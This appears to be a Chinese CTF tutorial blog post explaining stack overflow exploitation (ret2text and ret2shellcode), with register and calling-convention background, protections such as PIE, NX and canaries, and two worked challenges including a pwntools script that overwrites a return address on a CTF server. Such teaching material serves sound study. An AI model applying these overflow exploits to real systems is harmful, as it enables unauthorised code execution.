栈溢出(ret2text、ret2shellcode)
栈溢出
声明:仅个人理解,如有错误,肯请指正
汇编前置
假设你已在学校学过 8086/8088
8086中的寄存器,如 ax 等都是 16位 的
在 x86 架构中,32位的寄存器在前面添加字母 e 来表示,如:%eax
在 x86_64 中,64位寄存器在前面添加字母 r 来表示,如:%rax

一个地址编号对应一个字节(8bit)
esp :栈顶
ebp :栈底
函数调用约定
- __cdecl: C/C++缺省调用约定,参数从右向左入栈,返回值在eax中,由调用者清理栈(允许可变参数函数存在)
- __stdcall:参数从右向左入栈,返回值在eax中,由函数自身清理栈
- __fastcall:用ecx和edx传送前两个双字或更小的参数,剩下的参数从右向左入栈,返回值在eax中,由函数自身清理栈
以 __cdecl 为例,调用 int fun(int a, int b)
这个函数的过程如下:
1 | ; 调用者 |
1 | ; 被调用者(函数自身) |
图示栈的结构:
栈溢出基本原理(ret2text)
在 x86 中,栈由 高地址 向 低地址 生长,以双字(32bit 即 4
字节)为基本单位进行操作,因此 push
时
esp -= 4,放数据
,pop
时
出数据,esp += 4
但是我们写入数据是从低地址向高地址增加的,因此当输入数据过多,就有可能覆盖掉原本高地址中的返回地址,变成我们想要执行的函数的地址
以 [SWPUCTF 2021 新生赛] gift_pwn 为例: 用 IDA 打开附件,主要函数如下:
1 | int gift() |
我们看到在函数 vuln 中,read允许最多读入 0x64 即 100
个字节,而局部变量 buf 只开了
16个字节(除了知道char是一个字节一共开了16个算出来之外可以看注释里的[rbp-10h]
,其中
10h 就是16),因此可以尝试通过输入将函数 gift
的地址覆盖原本的返回地址,那要输入多少个字节呢?
这是一个 64 位的程序,因此栈的基本操作单位是8个字节。
局部变量 buf
占了16个字节,上一个栈帧的栈底占了8个字节(基本操作单位),因此一共是24个字节,就到了返回地址所在地方,在此处再写入8个字节gift函数地址即可
1 | .text:00000000004005B6 public gift |
在x86架构中,数据的读取遵循"小端序"(Little-Endian)原则,因此确保高位写入高地址,低位写入低地址
脚本如下: 1
2
3
4
5from pwn import *
sh = remote('node7.anna.nssctf.cn', 20905)
target = 0x4005B6
sh.sendline(b'A' * (0x10 + 8) + p64(target))
sh.interactive()
ret2shellcode
当原本的程序中没有现成的代码可以给我们利用以获取shell,我们可以自己写一个代码获取shell,这个代码就叫shellcode,可以自己写汇编代码,可以从网上找,也可以直接用pwntools里自带的
注意能够ret2shellcode的要求shellcode所在段具有 可写可执行 的权限
编译器所开启的一些保护措施
1. PIE
在没有开启任何保护的情况下,程序会被加载到一个固定的地址上,这表示我们根据这个固定地址加上偏移量即可得到有效地址,而且偏移量通常可以通过逆向手段确定,而当开启编译器提供的
PIE
保护选项,程序就会被加载到内存的随机位置,这个位置只有操作系统知道,从而更加安全
PIE 基于ASLR实现,所以前提必须开启ASLR
我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
引用自 ctfwiki
2. NX
内存中有分页和分段,因此每个段都可以有自己所允许的权限,开启 NX 就会修改段的权限设置,将没有必要的权限移除,比如数据段不需要可执行权限等
3. Canary
Canary 就是在ebp的位置上方插入一条独特的数据,这个数据是不可预测的,在执行某些重要操作前会首先检测这个数据有没有被改动,如果被改动了则进程会直接退出,避免栈溢出
例题
以 [HNCTF 2022 Week1] ret2shellcode 为例
检测程序开启的保护 1
2
3
4
5
6
7
8
9
10
11(pip_venv) ubuntu:~/ctf/nss/pwn/ret2shellcode$ checksec shellcode
[!] Could not populate PLT: No module named 'distutils'
[*] '/home/ubuntu/ctf/nss/pwn/ret2shellcode/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
开启了NX保护是不太能用shellcode的,但是用IDA打开如下:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
这是64位的程序,且很贴心的使用 mprotect
函数将 stdout
所在的内存页设置为可读(4)、可写(2)、可执行(1),权限值为7
使用 vmmap 也可以查看到 0x404000~0x405000
具有可写可执行的权限
根据 strcpy(buff, s);
找到 buff 地址为 0x4040A0,在
0x404000~0x405000 中: 1
2
3
4.bss:00000000004040A0 buff
.bss:00000000004040A0 ; char buff[256]
.bss:00000000004040A0 buff db 100h dup(?) ; DATA XREF: main+B0↑o
.bss:00000000004040A0 _bss endschar s[256]; // [rsp+0h] [rbp-100h] BYREF
可知距离返回地址
0x100 + 8
,其中 8
是因为是64位栈以8字节为基本操作单位,上一个栈帧的栈底
代码如下:
1 | from pwn import * |
结果: